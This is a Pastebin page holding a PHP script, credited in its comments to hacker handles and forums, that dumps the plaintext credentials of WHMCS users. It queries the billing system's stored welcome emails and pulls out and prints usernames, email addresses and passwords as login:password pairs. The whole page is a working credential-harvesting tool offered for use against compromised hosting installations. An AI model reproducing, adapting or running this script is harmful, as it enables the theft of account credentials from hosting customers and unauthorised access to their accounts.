FeRR4L

[PHP] WHMCS plain text users dumper

Sep 26th, 2013
184
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //WHMCS plain text password Dumper
  3. //Coded By Karar & i-Hmx
  4. //sec4ever.com , 1337s.cc , alm3refh.com
  5. //some pastes http://pastebin.com/u/i-Hmx
  6. $db_username = "user";
  7. $db_password = "pass";
  8. $db_name = "db";
  9. set_time_limit (0);
  10. function get_string_between($string, $start, $end){
  11.         $string = " ".$string;
  12.         $ini = strpos($string,$start);
  13.         if ($ini == 0) return "";
  14.         $ini += strlen($start);
  15.         $len = strpos($string,$end,$ini) - $ini;
  16.         return substr($string,$ini,$len);
  17.     }
  18.  
  19. mysql_pconnect("localhost",$db_username,$db_password);
  20. @mysql_select_db($db_name) or die ("Unable to select database");
  21. $query="select subject,message from tblemails";
  22. $result=mysql_query($query);
  23. mysql_close();
  24. /*Display Results*/
  25. $num=mysql_numrows($result);
  26. $i=0;
  27. while ($i < $num) {
  28. $css =mysql_result($result,$i,"subject");
  29.  
  30. if (stristr($css,"Welcome")){
  31. $s =mysql_result($result,$i,"message");
  32. if(stristr($s,"Login Username: ") or stristr($s,"Email Address: ")){
  33. $mail= get_string_between($s,"Login Username: ","<br />");
  34. $m2 = get_string_between($s,"Email Address: ","<br />");
  35. $pass = get_string_between($s,"Password: ","</p>");
  36. print $mail.$m2.":".$pass."<br>";
  37. }
  38.  
  39. }
  40. ++$i;
  41. }
  42. print "<br><br> Done!";
  43. ?>
Add Comment
Please, Sign In to add comment